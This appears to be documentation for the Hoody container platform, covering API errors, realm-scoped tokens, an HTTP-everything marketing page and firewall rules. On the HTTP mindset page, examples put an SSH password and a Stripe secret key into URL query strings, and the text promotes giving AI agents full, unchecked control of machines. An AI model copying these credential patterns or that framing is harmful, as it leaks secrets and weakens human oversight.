**Cause:** Your current IP is not in the token's IP whitelist

**Check your IP:**



Compare `ip_whitelist` with your current IP (run `curl https://ifconfig.me` in terminal).

**Solutions:**

1. **Update whitelist to include your IP:**



2. **Create new token without IP restrictions:**



### 404 Not Found

**Problem:** Resource not found errors

**Common causes:**

1. **Wrong ID format:**
   ```bash
   # IDs must be 24-character hex
   # ❌ Wrong: abc123
   # ✅ Correct: 507f1f77bcf86cd799439011
   ```

2. **Resource doesn't exist:**
   ```bash
   # Verify resource exists
   GET /api/v1/projects          # List all projects
   GET /api/v1/containers        # List all containers
   ```

3. **Wrong endpoint path:**
   ```bash
   # ❌ Wrong: /api/v1/project/507f1f77bcf86cd799439011
   # ✅ Correct: /api/v1/projects/507f1f77bcf86cd799439011
   ```

### Network/Connection Errors

**Problem:** Can't reach api.hoody.icu

**Solutions:**

1. **Check internet connection:**
   ```bash
   ping api.hoody.icu
   ```

2. **Verify DNS resolution:**
   ```bash
   dig api.hoody.icu
   # Should return IP address
   ```

3. **Test with curl verbose:**
   ```bash
   curl -v "https://api.hoody.icu/api/v1/projects" \
     -H "Authorization: Bearer $HOODY_TOKEN"
   
   # Look for TLS handshake and connection details
   ```

4. **Check firewall/proxy:**
   - Corporate firewall might block HTTPS
   - VPN might interfere with connections
   - Try from different network

### Rate Limiting

**Problem:** 429 Too Many Requests

**Solution:** Hoody API currently has generous rate limits. If you hit this:

1. **Add delays between requests:**
   ```javascript
   for (const item of items) {
     await fetch(apiUrl, options);
     await new Promise(r => setTimeout(r, 100)); // 100ms delay
   }
   ```

2. **Batch operations where possible:**
   ```bash
   # Instead of 10 separate container creates
   # Create them with delay or use prespawn pools
   ```

### Getting Help

**If issues persist:**

1. **Review error message** - Hoody returns detailed error messages in JSON
2. **Contact support** with:
   - Request method and endpoint
   - Request headers (mask auth token)
   - Error response
   - Timestamp of failure

---

## Next Steps

**Understand the foundation:**
1. **[Authentication →](./authentication/)** - How to authenticate (JWTs vs Auth Tokens)
2. **[Projects & Containers →](/foundation/projects-containers/)** - How Hoody organizes your infinite computers
3. **[Hoody Proxy →](/foundation/proxy/)** - How every container feature becomes a URL

**See complete endpoint documentation:**
- 📚 [API Reference →](/api/authentication/) - Every endpoint, every parameter, every response

---

> **The Hoody API is your control plane.**  
> **Use it to spawn infinite computers.**  
> **Then use their URLs to actually work.**

**This is the foundation. Everything else builds on HTTP.**

---

# Realms (API Isolation)

**Page:** foundation/hoody-api/realms

[Download Raw Markdown](./foundation/hoody-api/realms.md)

---

# Realms (API Isolation)

In Hoody, **Realms are not container networks**.

Realms are an **API isolation mechanism** that lets you scope *visibility* and *control* of resources (projects, containers, servers, etc.) using:

- a **realm-scoped API hostname**: `https://{realmId}.api.hoody.icu`
- **realm membership** on resources: `realm_ids: string[]`
- optional **realm restrictions** on Auth Tokens: `realm_ids` + `allow_no_realm`

This is primarily about preventing mistakes (especially with automation/AI) and enabling multi-tenant isolation.

## What a Realm is (and is not)

### A Realm *is*

- A **24-hex identifier** (e.g. `507f1f77bcf86cd799439011`) used as an isolation label.
- A **filter applied at the Hoody API layer**.
- A way to ensure an Auth Token only operates on *the intended subset* of resources.

### A Realm is *not*

- A private L2/L3 network for container traffic.
- A DNS/service-discovery network segment.
- A firewall boundary.

If you’re trying to control **container-to-internet** or **container-to-container** networking, use:

- [`Container Network`](/api/container-network/) (proxy/VPN routing)
- [`Container Firewall`](/api/container-firewall/) (host-enforced ingress/egress rules)

## Realm-scoped API hosts

### Unscoped (base) API

```
https://api.hoody.icu
```

Using the base host means **no realm scoping is applied by hostname**.

### Scoped by realm (subdomain)

```
https://{realmId}.api.hoody.icu
```

The `{realmId}` label must be a **24-hex ID** (lowercase). Any other first label — including short/long labels, non-hex strings, or IP literals — is **silently ignored** (the request is simply treated as unscoped, like the base host), not rejected.

When you use a realm-scoped host:

- **Read operations** typically return only resources whose `realm_ids` contains that `{realmId}`.
- **Write operations** will automatically **merge the subdomain realm into `realm_ids`** when creating/updating many resources.

### Non-realm subdomains (e.g. `default`)

```
https://default.api.hoody.icu
```

`default` is **not** a special keyword — it's simply a label that isn't a 24-hex realm ID, so it falls into the "ignored" bucket and the request behaves exactly like the unscoped base host `api.hoody.icu`. The same is true of any other non-hex subdomain.

## realm_ids: how resources participate

Many Hoody resources include a `realm_ids: string[]` field.

- `realm_ids: []` means the resource is **not assigned to any realm** (unscoped).
- `realm_ids: ["<realmA>"]` means the resource belongs to **realm A**.
- `realm_ids: ["<realmA>", "<realmB>"]` means **multi-realm membership** (the resource can be visible/usable from multiple realm scopes).

### Common patterns

1. **One realm per environment**
   - production realm ID
   - staging realm ID
   - development realm ID

2. **One realm per tenant/client**
   - tenant A realm ID
   - tenant B realm ID

3. **One realm per automation/agent** (safest)
   - each agent token only sees one realm → fewer “wrong container” incidents

## Auth Tokens: restricting by realm

Auth Tokens can be restricted so they only work within certain realms.

Key fields:

- `realm_ids: string[]`
- `allow_no_realm: boolean`

Behavior (high-level):

- If `realm_ids` is non-empty, the token is valid only for those realm IDs.
- If `allow_no_realm` is `false`, the token cannot be used on the base host.
- If `realm_ids` is non-empty **or** `allow_no_realm` is `false`, resource operations require a realm-scoped hostname.
- If `realm_ids` is empty and `allow_no_realm` is `true`, the token is not realm-restricted.

### Bootstrap for Realm Discovery

Token-only clients can call:

- [`GET /api/v1/auth/tokens/me`](/api/auth-tokens/)

on `https://api.hoody.icu` to discover:

- `restrictions.allowed_realm_ids`
- `restrictions.requires_realm_scope`
- `restrictions.active_realm_id`

This bootstrap exception is for introspection only, not for general resource access.

## Creation and Update Semantics

### Projects

- `POST /api/v1/projects` merges the scoped realm into `realm_ids` when called on `{realmId}.api.hoody.icu`.
- Realm-restricted auth tokens cannot create projects in other realms; created projects are forced to the active scoped realm.
- `PATCH /api/v1/projects/{id}` preserves the scoped realm when `realm_ids` is updated.
- Realm-restricted tokens cannot modify project `realm_ids`.

### Containers

- `POST /api/v1/projects/{id}/containers` requires the target project to already belong to the scoped realm (if scoped).
- Container `realm_ids` merge the scoped realm.
- Realm-restricted tokens cannot assign container realms outside the active scoped realm.
- `PATCH /api/v1/containers/{id}` blocks `realm_ids` updates for realm-restricted tokens.

## Delegating containers to external parties (freelancers, auditors, support)

Realms are a practical way to **hand off access to a specific set of containers** without exposing the rest of your account.

The pattern is:

1. Put the container(s) you want to share into a dedicated realm by setting `realm_ids`.
2. Create a **realm-restricted Auth Token** with:
   - `realm_ids: ["<thatRealmId>"]`
   - `allow_no_realm: false` (so it can’t be used on the unscoped base host)
3. Share the token + realm-scoped base URL with the external party:
   - `https://{realmId}.api.hoody.icu`
4. When the work is complete, **disable or delete** the token.

Example: create a time-boxed token restricted to a single realm:


  
    ```bash
    # Create a realm-restricted auth token for a freelancer
    hoody auth create \
      --alias "freelancer-debug-access" \
      --expires-at "2026-04-19T00:00:00Z" \
      --ip-whitelist "203.0.113.44" \
      --realm-ids "507f1f77bcf86cd799439011" \
      --no-allow-no-realm

    # Use the token with realm-scoped host
    hoody --base-url "https://507f1f77bcf86cd799439011.api.hoody.icu" \
      containers list
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Create a realm-restricted auth token
    const token = await client.api.authTokens.create({
      alias: 'freelancer-debug-access',
      expires_at: '2026-04-19T00:00:00Z',
      ip_whitelist: ['203.0.113.44'],
      realm_ids: ['507f1f77bcf86cd799439011'],
      allow_no_realm: false,
    });

    // Use realm-scoped client
    const realmClient = new HoodyClient({
      baseURL: 'https://507f1f77bcf86cd799439011.api.hoody.icu',
      token: token.data.token,
    });
    const containers = await realmClient.api.containers.list();
    ```
  
  
    ```bash
    # Create a realm-restricted auth token
    curl -X POST "https://api.hoody.icu/api/v1/auth/tokens" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "alias": "freelancer-debug-access",
        "expires_at": "2026-04-19T00:00:00Z",
        "ip_whitelist": ["203.0.113.44"],
        "realm_ids": ["507f1f77bcf86cd799439011"],
        "allow_no_realm": false
      }'

    # Use the token with realm-scoped host
    curl -X GET "https://507f1f77bcf86cd799439011.api.hoody.icu/api/v1/containers" \
      -H "Authorization: Bearer hdy_Abc123XyZ..."
    ```
  




Example: use that token (note the realm-scoped host):

```bash
curl -X GET "https://507f1f77bcf86cd799439011.api.hoody.icu/api/v1/containers" \
  -H "Authorization: Bearer hdy_Abc123XyZ..."
```

## API Endpoints Summary


  
    ```bash
    # List realm IDs associated with your resources
    hoody realms list

    # List containers filtered by realm
    hoody --base-url "https://507f1f77bcf86cd799439011.api.hoody.icu" \
      containers list
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // List realm IDs
    const realms = await client.api.realms.list();
    console.log(realms.data);

    // Use realm-scoped client
    const realmClient = new HoodyClient({
      baseURL: 'https://507f1f77bcf86cd799439011.api.hoody.icu',
      token: process.env.HOODY_TOKEN
    });
    const containers = await realmClient.api.containers.list();
    ```
  
  
    ```bash
    # List realm IDs associated with your resources
    curl "https://api.hoody.icu/api/v1/realms" \
      -H "Authorization: Bearer $HOODY_TOKEN"

    # List containers scoped to a realm
    curl "https://507f1f77bcf86cd799439011.api.hoody.icu/api/v1/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN"
    ```
  


Many list endpoints accept `realm_id` as a query parameter to filter results by realm membership.

## Use Cases

1. **Prevent automation mistakes**: Make a token that can only touch “prod”. Your CI can’t accidentally delete dev containers.
2. **Tenant isolation**: One token per client, restricted to that client’s realm.
3. **AI agent sandboxing**: Give each agent a realm-restricted token so it can’t even *see* other realms.
4. **External delegation**: Give a freelancer/auditor/support engineer a realm-restricted token that only exposes the containers they need to work on.

## Best Practices

- Prefer **realm-scoped hosts** for automation: `https://{realmId}.api.hoody.icu`.
- Use **separate tokens** per realm and per app (easier auditing + revocation).
- For external delegation, combine realm restriction with **short expirations** and **IP allowlists**.
- Avoid multi-realm membership unless you truly need it (it weakens isolation boundaries).

## Useful Questions

### Do Realms change container networking?

No. Realms only affect **Hoody API visibility and access control**. Networking is handled by proxy/VPN configuration and firewall rules.

### Can a resource belong to multiple realms?

Yes. Many resources support `realm_ids: string[]` and can be assigned to multiple realm IDs.

### How do I discover which realm IDs I’m using?

Call [`GET /api/v1/realms`](/api/realms/). It deduplicates realm IDs found across your resources.

## Troubleshooting

### 403: “This token requires a realm-scoped URL”

Your Auth Token likely has `realm_ids` configured and/or `allow_no_realm: false`. Use:

```
https://{realmId}.api.hoody.icu
```

instead of `https://api.hoody.icu`.

### 403: “token not valid for realm”

Your Auth Token’s `realm_ids` allowlist does not include the `{realmId}` you’re using in the hostname.

### 403: “Resource is not in requested realm”

The requested project/container/share does not belong to the realm in the URL. Use the correct realm host or move the resource realm membership first.

## What's Next

- [`Realms API Reference`](/api/realms/)
- [`Auth Tokens`](/api/auth-tokens/)
- [`Create/Edit/Delete Containers`](/foundation/containers/create-edit-delete/)

---

# The HTTP Mindset

**Page:** foundation/http-mindset

[Download Raw Markdown](./foundation/http-mindset.md)

---

# The HTTP Mindset

**The only tool you need is `fetch`.**

Every terminal, file, database, desktop, browser, script, and background service in Hoody is an HTTP endpoint. Not "accessible via HTTP." Not "has an API wrapper." **Is HTTP.** Your entire computing stack speaks one language, and you already know it.

This means any system that can make an HTTP request can control any computing resource you have. A CI/CD pipeline. A webhook. A browser extension. A phone. An AI agent. A `curl` command from any terminal on Earth.

No SSH client. No FTP client. No VNC viewer. No database GUI. No proprietary SDK. Just HTTP.

---

## One Protocol, Zero Friction

Traditional infrastructure requires a different protocol for each task:

| Task | Legacy Protocol | Tools Required |
| :--- | :--- | :--- |
| Shell access | SSH | ssh client, key management |
| File transfer | SFTP/SCP | sftp client, scp, rsync |
| Desktop access | VNC/RDP | VNC viewer, RDP client |
| Database | PostgreSQL/MySQL wire protocol | psql, mysql CLI, GUI client |
| Process management | systemd/init over SSH | SSH + systemctl |
| Scheduled tasks | cron over SSH | SSH + crontab |

**Each protocol has its own authentication, encryption, tooling, and failure modes.** Each one is another surface to secure, another thing to install, another thing to break.

In Hoody, every row collapses to one:

| Task | Protocol | Tool Required |
| :--- | :--- | :--- |
| Shell access | HTTPS | `fetch` or `curl` |
| File access | HTTPS | `fetch` or `curl` |
| Desktop access | HTTPS | A browser |
| Database | HTTPS | `fetch` or `curl` |
| Process management | HTTPS | `fetch` or `curl` |
| Scheduled tasks | HTTPS | `fetch` or `curl` |
| Script execution | HTTPS | `fetch` or `curl` |
| Browser automation | HTTPS | `fetch` or `curl` |
| AI orchestration | HTTPS | `fetch` or `curl` |
| Push notifications | HTTPS | `fetch` or `curl` |

One protocol. One authentication model. One way to monitor, log, and debug. The cognitive overhead drops to near zero.

---

## What This Looks Like in Practice

Every service in a Hoody container lives at a predictable URL:

```
https://{projectId}-{containerId}-{service}-{serviceIndex}.{serverName}.containers.hoody.icu
```

Here is what a developer's day looks like when everything is HTTP:

```javascript
const BASE = 'https://abc123-def456';
const NODE = 'node-us-1.containers.hoody.icu';

// Run a build command
await fetch(`${BASE}-terminal-1.${NODE}/api/v1/terminal/execute`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ command: 'npm run build', wait: true })
});

// Read a config file
const config = await fetch(`${BASE}-files-1.${NODE}/api/v1/files/home/app/config.json`);

// Query the database
const users = await fetch(`${BASE}-sqlite-1.${NODE}/api/v1/sqlite/db?db=app`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ transaction: [{ query: 'SELECT * FROM users WHERE active = 1' }] })
});

// Take a screenshot of the desktop
const screenshot = await fetch(`${BASE}-display-1.${NODE}/api/v1/display/screenshot`);

// Send a notification
await fetch(`${BASE}-n-1.${NODE}/api/v1/notifications/notify`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ title: 'Build complete', body: 'Deployed successfully' })
});

// SSH into a remote server — through HTTP (no SSH client needed)
await fetch(`${BASE}-terminal-2.${NODE}/api/v1/terminal/execute?ssh_host=prod.example.com&ssh_user=admin&ssh_password=hunter2`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ command: 'systemctl status nginx', wait: true })
});
```

No setup. No installation. No configuration file. Just HTTP calls — all over HTTPS with HTTP/2 and HTTP/3, automatically, on servers you own. This works from anywhere: a Node.js script, a Python notebook, a GitHub Action, a Zapier trigger, an AI agent, or **Hoody OS** — the web-based operating system where you see all these services as floating windows on your screen. You can SSH in too (`ssh hoody.com`), but honestly, once everything is an HTTPS endpoint, you'll wonder why you ever bothered with SSH for anything other than the fun of it.



Notice that last example: a regular HTTP POST just executed a command on a *different* server via SSH. Your Hoody container becomes an HTTP-to-SSH bridge — you can manage any server from any device that speaks HTTP, including your phone.

---

## Why This Changes Integration Forever

The integration problem in software has always been: *"How do I make System A talk to System B?"* The answer usually involves SDKs, adapters, message queues, or custom glue code.

When everything is HTTP, the answer is always the same: **make an HTTP request.**

### Any automation platform works instantly

Every CI/CD system, every workflow tool, every monitoring platform already speaks HTTP. That means they can already control Hoody containers with zero integration work:

- **GitHub Actions** — `curl` in a step controls your entire container
- **Zapier/Make** — HTTP request nodes connect to any Hoody service
- **Datadog/Grafana** — HTTP checks monitor any service endpoint
- **Slack/Discord bots** — Webhooks trigger container operations
- **Terraform/Pulumi** — HTTP provider manages Hoody resources

No Hoody plugin. No Hoody SDK. No Hoody-specific anything. HTTP is the integration.

### Scripts become APIs instantly

With hoody-exec, any script you write is automatically an HTTP endpoint:

```javascript
// File: scripts/api/deploy.js
// @mode serverless

const version = metadata.query.version || 'latest';

// Run deployment via terminal
const terminalBase = new URL(metadata.url).origin.replace('-exec-1', '-terminal-1');
await fetch(`${terminalBase}/api/v1/terminal/execute`, {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ command: `./deploy.sh ${version}`, wait: true })
});

return { status: 'deployed', version, timestamp: new Date().toISOString() };
```

Now accessible at:
```
POST https://abc123-def456-exec-1.node-us-1.containers.hoody.icu/api/deploy?version=2.1.0
```

That URL can be called from a webhook, an AI agent, another container, or a button in your dashboard. The script didn't need a web framework, a server setup, or deployment configuration. It just exists at a URL.

### Any REST API becomes a GET URL

hoody-curl transforms complex HTTP operations into simple GET requests:

```
GET https://abc123-def456-curl-1.node-us-1.containers.hoody.icu/api/v1/curl/request
    ?url=https://api.stripe.com/v1/charges
    &method=POST
    &headers=Authorization:Bearer sk_live_xxx
    &body={"amount":2000,"currency":"usd"}
```

This means any context that supports GET requests (iframes, QR codes, email links, simple webhooks, AI chatbots with link-fetching) can now trigger any REST API call. Wrap your entire deploy pipeline into a GET URL. An AI agent, a Slack bot, or a QR code on a whiteboard can fire it. The composability is infinite.

---

## Why This Changes Security Forever

One protocol means one place to enforce security. When everything is HTTP:

**One authentication layer.** Hoody Proxy handles auth for all 18 services through a single permission system. JWT, password, IP-based, or bearer token — configure once, applies everywhere.

**One audit trail.** Every action across every service flows through HTTP. Every file read, every command executed, every database query, every notification sent — all observable in one protocol.

**One encryption standard.** TLS everywhere, automatic certificates, no mixed-protocol encryption headaches.

**One attack surface.** Instead of securing SSH + FTP + VNC + database wire protocols + custom ports, you secure HTTPS. That's it. The attack surface shrinks by an order of magnitude.

**Total observability.** Since everything is HTTP, you can intercept any operation with hoody-exec. Log every database query. Validate every file access. Rate-limit every API call. Add custom authorization logic to any endpoint. HTTP makes the invisible visible.

---

## Why AI Needs This

LLMs were trained on the web. They understand HTTP natively — GET, POST, JSON payloads, headers, status codes. This isn't a nice-to-have. It's the foundation of AI-driven computing.

When your infrastructure is HTTP:

- **No SDK needed** — AI already knows how to call HTTP endpoints
- **No custom training** — request/response patterns are universal
- **No adapter layer** — AI generates `fetch()` calls directly
- **Full autonomy** — an AI agent with a container URL can operate the entire machine

An AI agent can build software, run tests, query databases, manage files, take screenshots, and deploy — all through HTTP calls it already knows how to make. No MCP server required (though Hoody's built-in MCP client can connect to external MCP servers for additional tools). No special integration. The HTTP surface IS the AI interface.

This is why Hoody containers are peer-to-peer: an AI in Container A can orchestrate Container B, which spawns Container C. No coordinator. No message bus. Just HTTP calls between URLs.

`@hoody.com` is the proof point. Any AI on the internet — ChatGPT, Codex, Cline, any agent with web-fetch — visits that address and receives a Skill: the full HTTP surface of your infrastructure, ready to operate. No SDK, no onboarding, no custom integration. The AI already speaks HTTP. `@hoody.com` just hands it the keys.

---

## The Mental Shift

Stop thinking about infrastructure. Start thinking about URLs.

| Old question | New question |
| :--- | :--- |
| "How do I connect to this server?" | "What's the URL?" |
| "What do I need to install?" | "What endpoint do I call?" |
| "How do I integrate these two systems?" | "Can it make HTTP requests?" |
| "Which SDK do I use?" | `fetch()` |
| "How do I give AI access?" | "Give it the URL." |

**If it can make HTTP requests, it can control everything.** That's the HTTP mindset.


Can your tool make HTTP requests? Then it can run terminal commands, access files, query databases, automate browsers, execute scripts, manage processes, and orchestrate AI agents — all in any Hoody container, from anywhere.


---

## Use Cases

### Replace your entire local toolchain
Instead of installing ssh, sftp, vnc, psql, and IDE extensions for each project, bookmark one set of URLs. Access everything from any device with a browser.

### Build internal tools without infrastructure
Write a script, it becomes an API. No server provisioning, no framework boilerplate, no deployment pipeline. A script at `/scripts/api/report.js` is immediately callable at `https://...-exec-1.../api/report`.

### Ship integrations in minutes, not weeks
Connect any external service to your computing resources. If the service can send a webhook or make an HTTP call, the integration is done. No middleware, no adapters, no glue code.

### Give AI complete autonomy
Hand an AI agent a container URL. It has a terminal, a filesystem, a database, a browser, and the ability to create more containers. All through HTTP calls it already understands.

### Observe everything in one place
Because all actions flow through HTTP, build a single monitoring dashboard that captures terminal commands, file changes, database queries, and API calls — all from one protocol.

## Best Practices

### Use the right service for the job
- **Quick commands** → Terminal (`/api/v1/terminal/execute`)
- **Persistent scripts with logic** → Exec (scripts become endpoints)
- **Data storage** → SQLite (`/api/v1/sqlite/db`)
- **File operations** → Files (direct path access)
- **Long-running processes** → Daemons (`/api/v1/daemon/programs`)
- **Scheduled work** → Cron (`/users/{user}/entries`)
- **HTTP composition** → cURL (`/api/v1/curl/request`)

### Compose services, don't duplicate
An Exec script can call Terminal, SQLite, Files, and cURL endpoints. Use each service for what it does best instead of reimplementing functionality.

### Secure at the proxy level
Configure authentication once on the Hoody Proxy — it applies to all 18 services uniformly. Don't implement auth per-service.

### Use hoody-curl for external API calls
When integrating with external APIs, use hoody-curl to transform complex requests into simple GET URLs. This makes them embeddable, cacheable, and composable.

## Useful Questions

### Do I really never need SSH?
SSH is available if you want it, but you don't need it. Everything SSH does (run commands, transfer files, tunnel ports) has an HTTP equivalent in the Hoody Kit. Most users never touch SSH.

Even when you *do* need to reach a remote server via SSH, you don't need an SSH client. Hoody Terminal acts as an **HTTP-to-SSH bridge**: add `ssh_host`, `ssh_user`, and optionally `ssh_password` or `ssh_key` (a base64-encoded private key) as query parameters to any terminal endpoint, and the container makes the SSH connection for you. You can also route through a SOCKS5 proxy with `socks5_host` and `socks5_port`. This works both in the browser (web terminal UI) and programmatically via the execute API. See [Terminals](/kit/terminals/) for details.

### What about performance? Isn't HTTP slower than native protocols?
For interactive terminal sessions, Hoody uses WebSocket (which runs over HTTP). For file transfers, HTTP/2 multiplexing and streaming handle large files efficiently. The overhead is negligible compared to the integration and security benefits.

### Can I still use traditional tools if I want?
Yes. Containers are full Debian Linux machines. You can install and use any tool. But once you experience the HTTP approach, you'll find that `curl` replaces most of your toolchain.

### How does authentication work across services?
The Hoody Proxy authenticates requests before they reach any service. You configure auth once (JWT, password, IP whitelist, or token), and it protects all services in the container uniformly. See [Proxy Permissions](/foundation/proxy/permissions/) for details.

### What about WebSocket and real-time connections?
HTTP-based services that need real-time communication (terminals, displays) use WebSocket, which upgrades from HTTP. The Hoody Proxy handles WebSocket connections natively. You get real-time when you need it, standard HTTP for everything else.

## Troubleshooting

### "I can't reach the service URL"
1. Verify the container is running: `GET https://api.hoody.icu/api/v1/containers/{id}`
2. Check the URL format: `{projectId}-{containerId}-{service}-{instance}.{serverName}.containers.hoody.icu`
3. Verify proxy permissions allow your access method

### "I get 401 Unauthorized"
Proxy permissions are configured for the container. Either authenticate with the correct method (JWT, password, token) or check that your IP is whitelisted. See [Proxy Permissions](/foundation/proxy/permissions/).

### "The endpoint returns 404"
Check the API path for the specific service. Each service has its own path prefix (e.g., `/api/v1/terminal/`, `/api/v1/sqlite/`). Refer to the [API Reference](/api/authentication/) for exact paths.

## What's Next

**Start building with HTTP:**
- **[Projects & Containers](/foundation/projects-containers/)** — Create your first container and get service URLs
- **[The Hoody Kit](/kit/)** — Explore all 18 HTTP services available in every container
- **[Hoody Proxy](/foundation/proxy/)** — Understand how URLs route to services

**Dive deeper into the vision:**
- **[The HTTP Revolution](/vision/http-revolution/)** — The full architectural vision
- **[Everything is a URL](/vision/everything-is-a-url/)** — The foundational principle
- **[Security Principles](/vision/security/)** — How one protocol simplifies security

**See the API in action:**
- **[API Reference](/api/authentication/)** — Every endpoint documented

---

# Images

**Page:** foundation/images

[Download Raw Markdown](./foundation/images.md)

---

# Images

This page has moved to the Container Lifecycle section:

- **[Container Images](/foundation/containers/images/)** - Container images, marketplace, and image management

---

# IPv4

**Page:** foundation/ipv4

[Download Raw Markdown](./foundation/ipv4.md)

---

# IPv4

This page has moved to the Networking section:

- **[IPv4](/foundation/networking/ipv4/)** - IPv4 address assignment and network configuration

---

# Firewall

**Page:** foundation/networking/firewall

[Download Raw Markdown](./foundation/networking/firewall.md)

---

# Firewall

**Host-enforced network security for your containers.** Control exactly what can connect in (ingress) and out (egress) at the packet level.

---

## API Endpoints Summary

**Complete endpoint documentation:**

- **[GET /api/v1/containers/\{id\}/firewall/rules](/api/container-firewall/)** - List all firewall rules
- **[POST /api/v1/containers/\{id\}/firewall/ingress](/api/container-firewall/)** - Add ingress rule
- **[POST /api/v1/containers/\{id\}/firewall/egress](/api/container-firewall/)** - Add egress rule
- **[DELETE /api/v1/containers/\{id\}/firewall/ingress](/api/container-firewall/)** - Remove ingress rule(s)
- **[DELETE /api/v1/containers/\{id\}/firewall/egress](/api/container-firewall/)** - Remove egress rule(s)
- **[PATCH /api/v1/containers/\{id\}/firewall/ingress](/api/container-firewall/)** - Toggle ingress rule state
- **[PATCH /api/v1/containers/\{id\}/firewall/egress](/api/container-firewall/)** - Toggle egress rule state
- **[POST /api/v1/containers/\{id\}/firewall/reset](/api/container-firewall/)** - Reset firewall

---

## Key Concepts

**Host-level enforcement:** Firewall runs on YOUR server's host kernel—completely outside containers.

**What this means:**
- ✅ Containers **cannot bypass** firewall rules
- ✅ Containers **cannot modify** their own firewall
- ✅ Rules survive container restarts/snapshots

**Two directions:**
- **Ingress** - Traffic coming INTO container (who can connect)
- **Egress** - Traffic going OUT FROM container (what container can reach)

**Three actions:**
- **allow** - Permit matching traffic
- **reject** - Block and notify (ICMP/TCP unreachable)
- **drop** - Silently ignore (appears offline to scanners)

**Three protocols:** `tcp`, `udp`, `icmp4`

---

## Quick Examples

### Allow SSH from Specific IP


  
    ```bash
    # Allow SSH from office IP
    hoody firewall ingress create --container $CONTAINER_ID \
      --action allow --protocol tcp \
      --destination-port 22 --source "203.0.113.50/32" \
      --description "Allow SSH from office"
    ```
  
  
    ```typescript
    await client.api.firewall.addIngressRule(CONTAINER_ID, {
      action: 'allow',
      protocol: 'tcp',
      description: 'Allow SSH from office',
      destination_port: '22',
      source: '203.0.113.50/32',
    });
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/firewall/ingress" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "action": "allow",
        "protocol": "tcp",
        "description": "Allow SSH from office",
        "destination_port": "22",
        "source": "203.0.113.50/32"
      }'
    ```
  


### Block All Outbound Internet


  
    ```bash
    # Block all TCP egress traffic
    hoody firewall egress create --container $CONTAINER_ID \
      --action drop --protocol tcp \
      --destination "0.0.0.0/0" \
      --description "Block all TCP egress"
    ```
  
  
    ```typescript
    await client.api.firewall.addEgressRule(CONTAINER_ID, {
      action: 'drop',
      protocol: 'tcp',
      description: 'Block all TCP egress',
      destination: '0.0.0.0/0',
    });
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/firewall/egress" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "action": "drop",
        "protocol": "tcp",
        "description": "Block all TCP egress",
        "destination": "0.0.0.0/0"
      }'
    ```
  


**Use case:** Run untrusted code in complete isolation.

### Allow Specific Service

Allow only HTTPS to specific API:


  
    ```bash
    # Allow HTTPS to specific API range
    hoody firewall egress create --container $CONTAINER_ID \
      --action allow --protocol tcp \
      --destination-port 443 --destination "198.51.100.0/24" \
      --description "Allow HTTPS to API"
    ```
  
  
    ```typescript
    await client.api.firewall.addEgressRule(CONTAINER_ID, {
      action: 'allow',
      protocol: 'tcp',
      description: 'Allow HTTPS to API',
      destination_port: '443',
      destination: '198.51.100.0/24',
    });
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/firewall/egress" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "action": "allow",
        "protocol": "tcp",
        "description": "Allow HTTPS to API",
        "destination_port": "443",
        "destination": "198.51.100.0/24"
      }'
    ```
  


---

## Port Specification


  
    ```json
    {"destination_port": "80"}
    ```
  
  
    ```json
    {"destination_port": "8000-9000"}
    ```
  
  
    ```json
    {"destination_port": "80,443,8080"}
    ```
  
  
    ```json
    {"destination_port": "22,80-90,443,8000-9000"}
    ```
  


**CIDR notation:**
- `/32` - Single IP (`203.0.113.50/32`)
- `/24` - 256 IPs (`203.0.113.0/24`)
- `/0` - All IPs (`0.0.0.0/0`)

---

## Rule Evaluation Order

**First match wins.** Put specific rules before broad rules:

**✅ Correct: Specific first**





**❌ Wrong: Broad first (specific never evaluated)** - If you create the drop rule first, the allow rule will never be reached.

---

## Common Patterns

### Database Container (Restrict Access)

Allow PostgreSQL from backend only:



Drop all other attempts:



### Web Server (Public + Restricted SSH)

Allow HTTP/HTTPS from anywhere:



Allow SSH from office only:



Drop other SSH attempts:



### Isolated Sandbox (No Internet)

Block all egress:





**Perfect for AI-generated code execution.**

### Malware Defense (Allowlist Required Services)

**Security principle:** Malware ALWAYS needs to communicate (command-and-control, data exfiltration). Block everything except what your programs legitimately need.

Allow only what your app needs (e.g., your API):



Allow DNS:



Block everything else:



**Even if container is compromised, malware cannot phone home.**

---

## Firewall vs Hoody Proxy

**Two separate security layers:**

| Layer | Controls | Use For |
|-------|----------|---------|
| **Firewall** | Network packets (TCP/UDP/ICMP) | Port restrictions, IP filtering |
| **Proxy Permissions** | HTTP service access | User auth, service-level control |

**Firewall** controls network traffic. **Proxy Permissions** controls HTTP service access.

**Layer both for defense-in-depth.**

See: [Proxy Permissions →](/foundation/proxy/permissions/)

---

## Managing Rules

### List Rules


  
    ```bash
    # List all firewall rules for a container
    hoody firewall list --container $CONTAINER_ID
    ```
  
  
    ```typescript
    const rules = await client.api.firewall.list(CONTAINER_ID);
    console.log(rules.data);
    ```
  
  
    ```bash
    curl "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/firewall/rules" \
      -H "Authorization: Bearer $TOKEN"
    ```
  


### Disable Rule (Keep Configuration)


  
    ```bash
    # Disable an ingress rule by description
    hoody firewall ingress toggle --container $CONTAINER_ID \
      --state disabled --description "Allow SSH from office"
